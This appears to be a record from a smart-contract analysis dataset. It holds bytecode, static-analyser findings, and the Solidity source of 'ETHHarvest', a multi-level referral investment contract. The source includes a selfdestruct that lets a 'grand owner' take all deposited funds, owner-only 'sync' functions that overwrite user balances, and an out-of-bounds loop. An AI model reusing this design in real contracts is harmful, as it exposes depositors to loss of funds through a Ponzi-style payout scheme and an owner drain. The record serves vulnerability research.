ffffffffff167fa959a9870268d9b0e72d62575c4485b2d251b7fa6f2e6d651ab34a942e4b6a6d60405160405180910390a25050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561106957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156110a557600080fd5b600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156110fd57600080fd5b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600b60008154809291906001900391905055508073ffffffffffffffffffffffffffffffffffffffff167f89a892711b872ae4055f22a8c1db09f4627d0b8265e61f706fe613d5cab6d8cd60405160405180910390a250565b6000600c54905090565b60606004600083600019166000191681526020019081526020016000208054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112695780601f1061123e57610100808354040283529160200191611269565b820191906000526020600020905b81548152906001019060200180831161124c57829003601f168201915b50505050509050919050565b601481565b60046020528060005260406000206000915090508054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113225780601f106112f757610100808354040283529160200191611322565b820191906000526020600020905b81548152906001019060200180831161130557829003601f168201915b505050505081565b6000600160008360001916600019168152602001908152602001600020600101549050919050565b600b5481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060006003805490509150600090505b8181101561142b5783600160006003848154811015156113d257fe5b90600052602060002001546000191660001916815260200190815260200160002060010154111561141e5760038181548110151561140c57fe5b9060005260206000200154925061142c565b80806001019150506113b6565b5b5050919050565b6001602052806000526040600020600091509050806000018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114df5780601f106114b4576101008083540402835291602001916114df565b820191906000526020600020905b8154815290600101906020018083116114c257829003601f168201915b5050505050908060010154908060020154908060030154908060040154905085565b6000806000600c5411151561151557600080fd5b61271083029050611388600c548281151561152c57fe5b0411915050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561159257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156115ce57600080fd5b600960008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561162757600080fd5b6001600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600a8190806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050600c600081548092919060010191905055508073ffffffffffffffffffffffffffffffffffffffff167fb22239a9652195d5b31b2310e28b0be7f64f67805a98b45cdd03000d79ac751960405160405180910390a250565b60606001600083600019166000191681526020019081526020016000206000018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117f15780601f106117c6576101008083540402835291602001916117f1565b820191906000526020600020905b8154815290600101906020018083116117d457829003601f168201915b50505050509050919050565b60006001611809612366565b03821115151561181857600080fd5b60058281548110151561182757fe5b90600052602060002001549050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561189557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156118d157600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f4037d6cac8c237e6cffa8d27b8392dc09106236cab592a842bc00169fdcefd6460405160405180910390a350565b6000806000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff9250600a805490509150600090505b81811015611ab95760096000600a838154811015156119e257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611a635782806001019350505b84831415611aac57600a81815481101515611a7a57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169350611aba565b80806001019150506119c7565b5b505050919050565b600c5481565b6060600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611b2257600080fd5b600060016000856000191660001916815260200190815260200160002060010154111515611b4f57600080fd5b600060016000856000191660001916815260200190815260200160002060060160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141515611bb957600080fd5b6001600084600019166000191681526020019081526020016000206005013390806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508115611cd4576001806000856000191660001916815260200190815260200160002060060160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060016000846000191660001916815260200190815260200160002060020160008154809291906001019190505550611d64565b600260016000856000191660001916815260200190815260200160002060060160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160008460001916600019168152602001908152602001600020600301600081548092919060010191905055505b3373ffffffffffffffffffffffffffffffffffffffff167fc4ebc3c90906ba31591e7c8ef748e5f4aea0f423bd5a4e4d7567db42f9c6781583604051808215151515815260200191505060405180910390a260016000846000191660001916815260200190815260200160002060040160008154809291906001019190505550611e0b60016000856000191660001916815260200190815260200160002060020154611501565b15612040576004600084600019166000191681526020019081526020016000208054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611ebf5780601f10611e9457610100808354040283529160200191611ebf565b820191906000526020600020905b815481529060010190602001808311611ea257829003601f168201915b5050505050905060008151141561203f576001600084600019166000191681526020019081526020016000206000016004600085600019166000191681526020019081526020016000209080546001816001161561010002031660029004611f28929190612632565b507f543a4ec028964cc17e2c0f62ae1e482f3553c2b629845b22c514d245e873fb118360046000866000191660001916815260200190815260200160002060405180836000191660001916815260200180602001828103825283818154600181600116156101000203166002900481526020019150805460018160011615610100020316600290048015611ffd5780601f10611fd257610100808354040283529160200191611ffd565b820191906000526020600020905b815481529060010190602001808311611fe057829003601f168201915b5050935050505060405180910390a160058390806001815401808255809150509060018203906000526020600020016000909192909190915090600019169055505b5b505050565b6000600160008360001916600019168152602001908152602001600020600401549050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120c957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561210557600080fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fca59ea8c0fa9019e0dd68a79567220768a9d8a73c55bb53f56c7c26943084c9c60405160405180910390a350565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561222157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561225d57600080fd5b600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156122b657600080fd5b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600b600081548092919060010191905055508073ffffffffffffffffffffffffffffffffffffffff167f349824b93839e3179e5c74e80e7267c1842e6bc9e05cf01cb45e28e70c27a41e60405160405180910390a250565b6000600580549050905090565b60086020528060005260406000206000915054906101000a900460ff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156123ef57600080fd5b8060008190555050565b60096020528060005260406000206000915054906101000a900460ff1681565b600060606004600084600019166000191681526020019081526020016000208054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156124cc5780601f106124a1576101008083540402835291602001916124cc565b820191906000526020600020905b8154815290600101906020018083116124af57829003601f168201915b505050505090506000815114156124e657600091506124eb565b600191505b50919050565b60c0604051908101604052806060815260200160008152602001600081526020016000815260200160008152602001606081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061256957805160ff1916838001178555612597565b82800160010185558215612597579182015b8281111561259657825182559160200191906001019061257b565b5b5090506125a491906126b9565b5090565b828054828255906000526020600020908101928215612621579160200282015b828111156126205782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550916020019190600101906125c8565b5b50905061262e91906126de565b5090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061266b57805485556126a8565b828001600101855582156126a857600052602060002091601f016020900482015b828111156126a757825482559160010191906001019061268c565b5b5090506126b591906126b9565b5090565b6126db91905b808211156126d75760008160009055506001016126bf565b5090565b90565b61271e91905b8082111561271a57600081816101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055506001016126e4565b5090565b905600a165627a7a72305820478e074202676fc264ed60dfd2d398321d2c7d715681f2c35865a4c3a8eca1960029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
7,388
0x803bcff6ae51952e1fd0e9f7c5412171834fa9e0
pragma solidity 0.6.8; /* * * SPDX-License-Identifier: MIT License */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } contract Destructible { address payable public grand_owner; event GrandOwnershipTransferred(address indexed previous_owner, address indexed new_owner); constructor() public { grand_owner = msg.sender; } function transferGrandOwnership(address payable _to) external { require(msg.sender == grand_owner, "Access denied (only grand owner)"); grand_owner = _to; } function destruct() external { require(msg.sender == grand_owner, "Access denied (only grand owner)"); selfdestruct(grand_owner); } } contract ETHHarvest is Ownable, Destructible, Pausable { struct User { uint256 cycle; address upline; uint256 referrals; uint256 payouts; uint256 direct_bonus; uint256 pool_bonus; uint256 match_bonus; uint256 deposit_amount; uint256 deposit_payouts; uint40 deposit_time; uint256 total_deposits; uint256 total_payouts; uint256 total_structure; } mapping(address => User) public users; uint256[] public cycles; // ether uint8[] public ref_bonuses; // 1 => 1% uint8[] public pool_bonuses; // 1 => 1% uint40 public pool_last_draw = uint40(block.timestamp); uint256 public pool_cycle; uint256 public pool_balance; mapping(uint256 => mapping(address => uint256)) public pool_users_refs_deposits_sum; mapping(uint8 => address) public pool_top; uint256 public total_withdraw; event Upline(address indexed addr, address indexed upline); event NewDeposit(address indexed addr, uint256 amount); event DirectPayout(address indexed addr, address indexed from, uint256 amount); event MatchPayout(address indexed addr, address indexed from, uint256 amount); event PoolPayout(address indexed addr, uint256 amount); event Withdraw(address indexed addr, uint256 amount); event LimitReached(address indexed addr, uint256 amount); constructor() public { ref_bonuses.push(30); ref_bonuses.push(10); ref_bonuses.push(10); ref_bonuses.push(10); ref_bonuses.push(10); ref_bonuses.push(8); ref_bonuses.push(8); ref_bonuses.push(8); ref_bonuses.push(8); ref_bonuses.push(8); ref_bonuses.push(5); ref_bonuses.push(5); ref_bonuses.push(5); ref_bonuses.push(5); ref_bonuses.push(5); pool_bonuses.push(40); pool_bonuses.push(30); pool_bonuses.push(20); pool_bonuses.push(10); cycles.push(10 ether); cycles.push(30 ether); cycles.push(90 ether); cycles.push(200 ether); } receive() payable external whenNotPaused { _deposit(msg.sender, msg.value); } function _setUpline(address _addr, address _upline) private { if(users[_addr].upline == address(0) && _upline != _addr && (users[_upline].deposit_time > 0 || _upline == owner())) { users[_addr].upline = _upline; users[_upline].referrals++; emit Upline(_addr, _upline); for(uint8 i = 0; i < ref_bonuses.length; i++) { if(_upline == address(0)) break; users[_upline].total_structure++; _upline = users[_upline].upline; } } } function _deposit(address _addr, uint256 _amount) private { require(users[_addr].upline != address(0) || _addr == owner(), "No upline"); if(users[_addr].deposit_time > 0) { users[_addr].cycle++; require(users[_addr].payouts >= this.maxPayoutOf(users[_addr].deposit_amount), "Deposit already exists"); require(_amount >= users[_addr].deposit_amount && _amount <= cycles[users[_addr].cycle > cycles.length - 1 ? cycles.length - 1 : users[_addr].cycle], "Bad amount"); } else require(_amount >= 0.1 ether && _amount <= cycles[0], "Bad amount"); users[_addr].payouts = 0; users[_addr].deposit_amount = _amount; users[_addr].deposit_payouts = 0; users[_addr].deposit_time = uint40(block.timestamp); users[_addr].total_deposits += _amount; emit NewDeposit(_addr, _amount); if(users[_addr].upline != address(0)) { users[users[_addr].upline].direct_bonus += _amount / 10; emit DirectPayout(users[_addr].upline, _addr, _amount / 10); } _pollDeposits(_addr, _amount); if(pool_last_draw + 1 days < block.timestamp) { _drawPool(); } payable(owner()).transfer(_amount / 100); } function _pollDeposits(address _addr, uint256 _amount) private { pool_balance += _amount / 20; address upline = users[_addr].upline; if(upline == address(0)) return; pool_users_refs_deposits_sum[pool_cycle][upline] += _amount; for(uint8 i = 0; i < pool_bonuses.length; i++) { if(pool_top[i] == upline) break; if(pool_top[i] == address(0)) { pool_top[i] = upline; break; } if(pool_users_refs_deposits_sum[pool_cycle][upline] > pool_users_refs_deposits_sum[pool_cycle][pool_top[i]]) { for(uint8 j = i + 1; j < pool_bonuses.length; j++) { if(pool_top[j] == upline) { for(uint8 k = j; k <= pool_bonuses.length; k++) { pool_top[k] = pool_top[k + 1]; } break; } } for(uint8 j = uint8(pool_bonuses.length - 1); j > i; j--) { pool_top[j] = pool_top[j - 1]; } pool_top[i] = upline; break; } } } function _refPayout(address _addr, uint256 _amount) private { address up = users[_addr].upline; for(uint8 i = 0; i < ref_bonuses.length; i++) { if(up == address(0)) break; if(users[up].referrals >= i + 1) { uint256 bonus = _amount * ref_bonuses[i] / 100; users[up].match_bonus += bonus; emit MatchPayout(up, _addr, bonus); } up = users[up].upline; } } function _drawPool() private { pool_last_draw = uint40(block.timestamp); pool_cycle++; uint256 draw_amount = pool_balance / 10; for(uint8 i = 0; i < pool_bonuses.length; i++) { if(pool_top[i] == address(0)) break; uint256 win = draw_amount * pool_bonuses[i] / 100; users[pool_top[i]].pool_bonus += win; pool_balance -= win; emit PoolPayout(pool_top[i], win); } for(uint8 i = 0; i < pool_bonuses.length; i++) { pool_top[i] = address(0); } } function deposit(address _upline) payable external whenNotPaused { _setUpline(msg.sender, _upline); _deposit(msg.sender, msg.value); } function withdraw() external whenNotPaused { (uint256 to_payout, uint256 max_payout) = this.payoutOf(msg.sender); require(users[msg.sender].payouts < max_payout, "Full payouts"); // Deposit payout if(to_payout > 0) { if(users[msg.sender].payouts + to_payout > max_payout) { to_payout = max_payout - users[msg.sender].payouts; } users[msg.sender].deposit_payouts += to_payout; users[msg.sender].payouts += to_payout; _refPayout(msg.sender, to_payout); } // Direct payout if(users[msg.sender].payouts < max_payout && users[msg.sender].direct_bonus > 0) { uint256 direct_bonus = users[msg.sender].direct_bonus; if(users[msg.sender].payouts + direct_bonus > max_payout) { direct_bonus = max_payout - users[msg.sender].payouts; } users[msg.sender].direct_bonus -= direct_bonus; users[msg.sender].payouts += direct_bonus; to_payout += direct_bonus; } // Pool payout if(users[msg.sender].payouts < max_payout && users[msg.sender].pool_bonus > 0) { uint256 pool_bonus = users[msg.sender].pool_bonus; if(users[msg.sender].payouts + pool_bonus > max_payout) { pool_bonus = max_payout - users[msg.sender].payouts; } users[msg.sender].pool_bonus -= pool_bonus; users[msg.sender].payouts += pool_bonus; to_payout += pool_bonus; } // Match payout if(users[msg.sender].payouts < max_payout && users[msg.sender].match_bonus > 0) { uint256 match_bonus = users[msg.sender].match_bonus; if(users[msg.sender].payouts + match_bonus > max_payout) { match_bonus = max_payout - users[msg.sender].payouts; } users[msg.sender].match_bonus -= match_bonus; users[msg.sender].payouts += match_bonus; to_payout += match_bonus; } require(to_payout > 0, "Zero payout"); users[msg.sender].total_payouts += to_payout; total_withdraw += to_payout; payable(msg.sender).transfer(to_payout); emit Withdraw(msg.sender, to_payout); if(users[msg.sender].payouts >= max_payout) { emit LimitReached(msg.sender, users[msg.sender].payouts); } } function drawPool() external onlyOwner { _drawPool(); } function pause() external onlyOwner { _pause(); } function unpause() external onlyOwner { _unpause(); } function maxPayoutOf(uint256 _amount) pure external returns(uint256) { return _amount * 31 / 10; } function payoutOf(address _addr) view external returns(uint256 payout, uint256 max_payout) { max_payout = this.maxPayoutOf(users[_addr].deposit_amount); if(users[_addr].deposit_payouts < max_payout) { payout = (users[_addr].deposit_amount * ((block.timestamp - users[_addr].deposit_time) / 1 days) / 100) - users[_addr].deposit_payouts; if(users[_addr].deposit_payouts + payout > max_payout) { payout = max_payout - users[_addr].deposit_payouts; } } } /* Only external call */ function userInfo(address _addr) view external returns(address upline, uint40 deposit_time, uint256 deposit_amount, uint256 payouts, uint256 direct_bonus, uint256 pool_bonus, uint256 match_bonus) { return (users[_addr].upline, users[_addr].deposit_time, users[_addr].deposit_amount, users[_addr].payouts, users[_addr].direct_bonus, users[_addr].pool_bonus, users[_addr].match_bonus); } function userInfoTotals(address _addr) view external returns(uint256 referrals, uint256 total_deposits, uint256 total_payouts, uint256 total_structure) { return (users[_addr].referrals, users[_addr].total_deposits, users[_addr].total_payouts, users[_addr].total_structure); } function contractInfo() view external returns(uint256 _total_withdraw, uint40 _pool_last_draw, uint256 _pool_balance, uint256 _pool_lider) { return (total_withdraw, pool_last_draw, pool_balance, pool_users_refs_deposits_sum[pool_cycle][pool_top[0]]); } function poolTopInfo() view external returns(address[4] memory addrs, uint256[4] memory deps) { for(uint8 i = 0; i < pool_bonuses.length; i++) { if(pool_top[i] == address(0)) break; addrs[i] = pool_top[i]; deps[i] = pool_users_refs_deposits_sum[pool_cycle][pool_top[i]]; } } } contract Sync is ETHHarvest { bool public sync_close = false; function sync(address[] calldata _users, address[] calldata _uplines, uint256[] calldata _data) external onlyOwner { require(!sync_close, "Sync already close"); for(uint256 i = 0; i < _users.length; i++) { address addr = _users[i]; uint256 q = i * 12; //require(users[_uplines[i]].total_deposits > 0, "No upline"); if(users[addr].total_deposits == 0) { emit Upline(addr, _uplines[i]); } users[addr].cycle = _data[q]; users[addr].upline = _uplines[i]; users[addr].referrals = _data[q + 1]; users[addr].payouts = _data[q + 2]; users[addr].direct_bonus = _data[q + 3]; users[addr].pool_bonus = _data[q + 4]; users[addr].match_bonus = _data[q + 5]; users[addr].deposit_amount = _data[q + 6]; users[addr].deposit_payouts = _data[q + 7]; users[addr].deposit_time = uint40(_data[q + 8]); users[addr].total_deposits = _data[q + 9]; users[addr].total_payouts = _data[q + 10]; users[addr].total_structure = _data[q + 11]; } } function syncGlobal(uint40 _pool_last_draw, uint256 _pool_cycle, uint256 _pool_balance, uint256 _total_withdraw, address[] calldata _pool_top) external onlyOwner { require(!sync_close, "Sync already close"); pool_last_draw = _pool_last_draw; pool_cycle = _pool_cycle; pool_balance = _pool_balance; total_withdraw = _total_withdraw; for(uint8 i = 0; i < pool_bonuses.length; i++) { pool_top[i] = _pool_top[i]; } } function syncUp() external payable {} function syncClose() external onlyOwner { require(!sync_close, "Sync already close"); sync_close = true; } }
0x6080604052600436106101bb5760003560e01c80638456cb59116100ec578063a9c3ac531161008a578063c864130f11610064578063c864130f146109d8578063e7204ffb14610a56578063f2fde38b14610a6d578063f340fa0114610abe5761024f565b8063a9c3ac53146108b2578063afbce3b914610934578063b7d9f0d2146109835761024f565b8063970d106f116100c6578063970d106f146107305780639a8318f41461075b578063a198341614610786578063a87430ba146107bf5761024f565b80638456cb59146106735780638959af3c1461068a5780638da5cb5b146106d95761024f565b80633f4ba83a116101595780636da61d1e116101335780636da61d1e14610507578063715018a61461057357806374a88b8b1461058a57806374b95b2d146105f95761024f565b80633f4ba83a1461046c5780635c975abb146104835780636d5f6f11146104b25761024f565b80631a975376116101955780631a975376146103965780632b68b9c6146103ed578063375e5c6c146104045780633ccfd60b146104555761024f565b806315c43aaf14610254578063192ef492146102a25780631959a002146102cd5761024f565b3661024f57600160149054906101000a900460ff1615610243576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b61024d3334610b02565b005b600080fd5b34801561026057600080fd5b50610269611535565b604051808581526020018464ffffffffff1664ffffffffff16815260200183815260200182815260200194505050505060405180910390f35b3480156102ae57600080fd5b506102b76115ec565b6040518082815260200191505060405180910390f35b3480156102d957600080fd5b5061031c600480360360208110156102f057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115f2565b604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018764ffffffffff1664ffffffffff16815260200186815260200185815260200184815260200183815260200182815260200197505050505050505060405180910390f35b3480156103a257600080fd5b506103ab61181c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103f957600080fd5b50610402611842565b005b34801561041057600080fd5b506104536004803603602081101561042757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611940565b005b34801561046157600080fd5b5061046a611a47565b005b34801561047857600080fd5b50610481612628565b005b34801561048f57600080fd5b506104986126fb565b604051808215151515815260200191505060405180910390f35b3480156104be57600080fd5b506104eb600480360360208110156104d557600080fd5b8101908080359060200190929190505050612712565b604051808260ff1660ff16815260200191505060405180910390f35b34801561051357600080fd5b506105566004803603602081101561052a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612743565b604051808381526020018281526020019250505060405180910390f35b34801561057f57600080fd5b506105886129f7565b005b34801561059657600080fd5b506105e3600480360360408110156105ad57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612b7f565b6040518082815260200191505060405180910390f35b34801561060557600080fd5b506106486004803603602081101561061c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612ba4565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b34801561067f57600080fd5b50610688612cc5565b005b34801561069657600080fd5b506106c3600480360360208110156106ad57600080fd5b8101908080359060200190929190505050612d98565b6040518082815260200191505060405180910390f35b3480156106e557600080fd5b506106ee612daf565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561073c57600080fd5b50610745612dd8565b6040518082815260200191505060405180910390f35b34801561076757600080fd5b50610770612dde565b6040518082815260200191505060405180910390f35b34801561079257600080fd5b5061079b612de4565b604051808264ffffffffff1664ffffffffff16815260200191505060405180910390f35b3480156107cb57600080fd5b5061080e600480360360208110156107e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612dfb565b604051808e81526020018d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018c81526020018b81526020018a81526020018981526020018881526020018781526020018681526020018564ffffffffff1664ffffffffff1681526020018481526020018381526020018281526020019d505050505050505050505050505060405180910390f35b3480156108be57600080fd5b506108c7612e92565b6040518083600460200280838360005b838110156108f25780820151818401526020810190506108d7565b5050505090500182600460200280838360005b83811015610920578082015181840152602081019050610905565b505050509050019250505060405180910390f35b34801561094057600080fd5b5061096d6004803603602081101561095757600080fd5b8101908080359060200190929190505050613061565b6040518082815260200191505060405180910390f35b34801561098f57600080fd5b506109bc600480360360208110156109a657600080fd5b8101908080359060200190929190505050613082565b604051808260ff1660ff16815260200191505060405180910390f35b3480156109e457600080fd5b50610a14600480360360208110156109fb57600080fd5b81019080803560ff1690602001909291905050506130b3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a6257600080fd5b50610a6b6130e6565b005b348015610a7957600080fd5b50610abc60048036036020811015610a9057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506131b9565b005b610b0060048036036020811015610ad457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506133c6565b005b600073ffffffffffffffffffffffffffffffffffffffff16600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141580610bd25750610ba3612daf565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b610c44576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f2075706c696e65000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060090160009054906101000a900464ffffffffff1664ffffffffff16111561100057600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600081548092919060010191905055503073ffffffffffffffffffffffffffffffffffffffff16638959af3c600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600701546040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b158015610d8c57600080fd5b505afa158015610da0573d6000803e3d6000fd5b505050506040513d6020811015610db657600080fd5b8101908080519060200190929190505050600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301541015610e7e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f4465706f73697420616c7265616479206578697374730000000000000000000081525060200191505060405180910390fd5b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600701548110158015610f8957506003600160038054905003600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015411610f6657600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154610f70565b6001600380549050035b81548110610f7a57fe5b90600052602060002001548111